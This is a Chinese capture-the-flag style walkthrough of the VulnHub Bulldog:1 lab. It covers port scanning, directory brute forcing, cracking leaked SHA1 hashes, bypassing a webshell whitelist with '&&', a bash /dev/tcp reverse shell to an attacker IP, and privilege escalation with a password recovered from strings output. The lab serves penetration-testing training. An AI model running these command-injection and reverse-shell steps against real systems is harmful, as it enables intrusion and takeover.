VulnHub | 渗透测试入门(二)

红日安全成员
博客:http://sec-redclub.com/team/

 

简介

下载链接

https://www.vulnhub.com/entry/bulldog-1,211/

靶机说明

牛头犬行业最近的网站被恶意的德国牧羊犬黑客破坏。这是否意味着有更多漏洞可以利用?你为什么找不到呢?:)

这是标准的Boot-to-Root,目标是进入root目录并看到祝贺消息。

目标

获得root权限和flag。

运行环境

  • 靶机:用VirtualBox启动虚机,导入镜像,网络连接方式设置为桥接到无线网卡。靶机启动后,自动获得IP:172.20.10.7。
  • Windows攻击机:物理机,连接无线网卡,自动获取IP:172.20.10.5,安装有Burpsuit、nc、Python2.7、DirBuster等渗透工具。
  • Kali攻击机:VMWare启动虚机,桥接到无线网卡,自动获取IP:172.20.10.6。攻击机二选一即可。

 

信息收集

  • ip发现

靶机启动后,自动获得IP,并且显示在启动完成后的界面,IP为:172.20.10.7。无需使用Nmap扫描C段发现IP。

  • 端口和服务识别

使用nmap扫描1-65535全端口,并做服务指纹识别,扫描结果保存到txt文件,命令:

nmap -p1-65535 -A 172.20.10.7 -oN bulldog.txt

发现目标主机端口和服务如下:

端口 协议 后端服务

TCP 23 SSH open-ssl 7.2p2

TCP 80 HTTP WSGIServer Python 2.7.12

TCP 8080 HTTP WSGIServer Python 2.7.12

操作系统:Linux 3.2-4.9

 

漏洞挖掘的详细思路

  • web漏洞思路:

(1) 查看每个网页的源码,看是否有提示;

(2) 暴破目录,用DirBuster,看是否有新网页,找新网页的漏洞;

(3) 找注入或框架漏洞:如果网页有输入框、URL参数,可AWVS扫描注入;如果web使用了某些CMS框架,只能找框架的通用漏洞,通常扫描不到注入。

  • ssh利用思路:

(1) 如得到用户名,可以用就九头蛇或美杜莎暴破弱口令,但需要强大的字典且有弱口令。

(2) 如果得到web管理或系统账号,可以尝试连接ssh,如能连接上,无需反弹shell了。

  • 步骤1:浏览网页,暴破目录

(1) 访问 http://172.20.10.7/ 进入首页:

首页有链接,点击进入notice页面,未发现有价值的信息。

(2) 使用DirBuster暴破目录,得到dev和admin目录:

(3) 访问http://172.20.10.7/admin,这是一个Django管理后台,需要用户名、密码登录,试了下没有常见弱口令,先不尝试暴破,去看看其他页面。

(4) 访问http://172.20.10.7/dev,该页面的有价值信息非常多,主要信息:

新系统不在使用php或任何CMS,而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞,只能找Django框架漏洞;网站不使用php,无需再找php漏洞或者写php木马;

新系统使用webshell管理,有一个Web-shell链接,点击可访问http://172.20.10.7/dev/shell/,但是需要认证。

  • 步骤2:破解hash

(1) 查看http://172.20.10.7/dev页面源码,会发现有每个Team Lead的邮箱和hash:

并且有明显的英文提示:We’ll remove these in prod. It’s not like a hacker can do anything with a hash。

(2) hash长度为40位,可以看出是sha1,即使不知道是哪种hash,也可以把每个hash值,到CMD5尝试碰撞解密:

(3) 最终解密出2个hash值:

Back End: nick@bulldogindustries.com

用户名:nick,密码:bulldog (CMD5可免费解密出来)

Database: sarah@bulldogindustries.com

用户名:sarah,密码:bulldoglover (CMD5需要收费解密出来)

  • 步骤3:登录后台

(1) 使用解密出来的密码尝试登录扫描出来的23端口ssh都失败:

(2) 使用sarah、密码bulldoglover成功登录管理后台,发现没有编辑权限。

(3) 再去访问webshell页面,已通过认证,可执行命令,这是一个命令执行界面:

 

获取shell

  • 步骤4:绕过白名单限制,执行系统命令:

webshell页面只能执行白名单的命令,尝试用;或者&&连接,执行多个命令:

ls是白名单命令,id是禁止命令,通过ls && id可成功执行id命令,达到绕过白名单限制执行命令。

  • 步骤5:反弹shell:

(1) Windows攻击机开启nc监听:nc -lvnp 4444

(2) 直接执行ls && bash -i >& /dev/tcp/172.20.10.5/4444 0>&1失败,server报错500。

(3) 尝试多次bash反弹,最后使用echo命令先输出命令,再输入到bash,反弹shell成功:

echo "bash -i >& /dev/tcp/172.20.10.5/4444 0>&1" | bash

 

提升权限

  • 步骤6:查看有哪些系统用户 cat /etc/passwd, 发现需要关注的用户有:bulldogadmin、django

  • 步骤7:查找每个用户的文件(不显示错误) find / -user bulldogadmin 2>/dev/null

(1) 发现值得关注的文件有:一个是note,一个是customPermissionApp。

/home/bulldogadmin/.hiddenadmindirectory/note

/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

(2) 打开note文本文件:发现提示webserver有时需要root权限访问。

(3) 打开customPermissionApp,看上去是可执行文件,使用strings打印其中的可打印字符:

strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

note文件中提示执行该文件,可以获得root权限,但通过ls查看文件权限只有读权限,并无法执行。

  • 步骤8:拼接root密码提权

(1) 观察文件中只有这些字符,疑似可能与密码相关,英文单词包括:SUPER、 ulitimate、PASSWORD、youCANTget,这些都与最高权限账号相关,推测这是一个解谜题目:

最直接的组合是去掉H,变成一句通顺的英文句子:SUPERultimatePASSWORDyouCANTget

(2) su命令无法执行,提示:must be run from a terminal,上次Vulhub已经遇到过该问题,通过一句Python解决:

python -c 'import pty;pty.spawn("/bin/bash")'

(3) 执行sudo su -,获得root权限,获取flag:

(4) 如果不解决无法su,还记得有23端口的ssh,也可以使用Xshell通过ssh登录,登录成功后执行sudo su – 提权并获得flag

用户名:django

密码:SUPERultimatePASSWORDyouCANTget 不用猜测的密码,改了django再登录也可以。

sudo su提权,密码是:SUPERultimatePASSWORDyouCANTget

 

靶场思路回顾

1.目录暴破出dev和admin页面:

(1) 可暴破出dev页面,该页面源码里面有多个账号的用户名、邮箱、密码sha1值。该页面还链接到webshell命令执行页面。

(2) 可暴破出admin后台页面,登录密码通过dev页面破解sha1得到。

2.绕过白名单限制,执行命令和反弹shell:绕过限制执行命令比较容易。反弹shell尝试多次使用bash反弹shell后成功,没有尝试py shell。

3.搜索系统中id为1000以后的用户的文件,可以找到隐藏文件。

4.猜解root密码很艰难。

 

总结

  • 难点和踩到的坑:

(1) 发现和破解sha1:在dev页面查看源码,发现多个用户hash后,即使不知道是40位的sha1,也可以直接去cmd5破解,系统会自动识别,可以破解出2个账号。如果用hashcat暴破sha1,需要强大的字段和较长的时间。

(2) 反弹shell应该有多种方法:第一个想到的是bash shell,也想到了python反弹shell。只尝试了通过bash反弹shell,如果bash反弹不成功,可尝试往系统echo文件,赋予+x执行权限,执行脚本反弹。也可尝试Python是否能够反弹shell。

(3) 发现隐藏的包含root密码的文件,通过搜索id为1000之后的用户文件,查看历史命令,或者查看目录,也可能找到。

(4) 猜解root密码:这个是最难的,找到这个文件并不难,但是通过strings查看文件内容,并且拼接字符串为root密码,感觉难度很大。

(完)